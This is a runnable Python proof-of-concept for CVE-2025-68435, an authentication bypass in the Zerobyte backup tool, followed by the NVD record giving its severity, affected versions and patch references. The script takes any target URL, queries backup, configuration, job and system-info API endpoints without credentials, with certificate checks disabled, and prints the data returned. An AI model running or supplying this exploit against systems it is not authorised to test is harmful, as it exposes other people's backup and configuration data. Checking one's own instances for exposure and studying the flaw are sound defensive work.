CVE-2025-68435

import requests # CVE-2025-68435 PoC - Zerobyte Authentication Bypass # Target: Zerobyte backup automation tool # Vulnerability: Authentication middleware not properly applied to API endpoints def check_zerobyte_auth_bypass(target_url): """ Check if target Zerobyte instance is vulnerable to CVE-2025-68435 """ vulnerable_endpoints = [ "/api/backups", "/api/configurations", "/api/jobs", "/api/system/info" ] print(f"[*] Testing {target_url} for CVE-2025-68435") print(f"[*] Target: {target_url}") print("-" * 50) for endpoint in vulnerable_endpoints: url = f"{target_url.rstrip('/')}{endpoint}" try: # Send request without any authentication headers response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] VULNERABLE: {url}") print(f" Status: {response.status_code}") print(f" Response: {response.text[:200]}...") elif response.status_code == 401: print(f"[-] Protected: {url} (401 Unauthorized)") else: print(f"[*] Endpoint: {url} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {url}: {e}") print("-" * 50) print("[*] Scan complete") if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] check_zerobyte_auth_bypass(target) else: print("Usage: python cve-2025-68435_poc.py http://target:port")

{"cve": {"id": "CVE-2025-68435", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:16:05.747", "lastModified": "2026-03-05T19:30:16.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zerobyte is a backup automation tool Zerobyte versions prior to 0.18.5 and 0.19.0 contain an authentication bypass vulnerability where authentication middleware is not properly applied to API endpoints. This results in certain API endpoints being accessible without valid session credentials. This is dangerous for those who have exposed Zerobyte to be used outside of their internal network. A fix has been applied in both version 0.19.0 and 0.18.5. If immediate upgrade is not possible, restrict network access to the Zerobyte instance to trusted networks only using firewall rules or network segmentation. This is only a temporary mitigation; upgrading is strongly recommended."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-305"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nicotsx:zerobyte:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.18.5", "matchCriteriaId": "35D7F142-68D1-470E-A7C9-2DD3B4853E66"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nicotsx:zerobyte:0.19.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "CADD228A-ABF0-48DB-97E1-12C8AA30A5B6"}]}]}], "references": [{"url": "https://github.com/nicotsx/zerobyte/commit/13e080a18967705bd2b4e110e5f7693fdca1c692", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nicotsx/zerobyte/issues/161", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/nicotsx/zerobyte/security/advisories/GHSA-x539-c98q-38gv", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}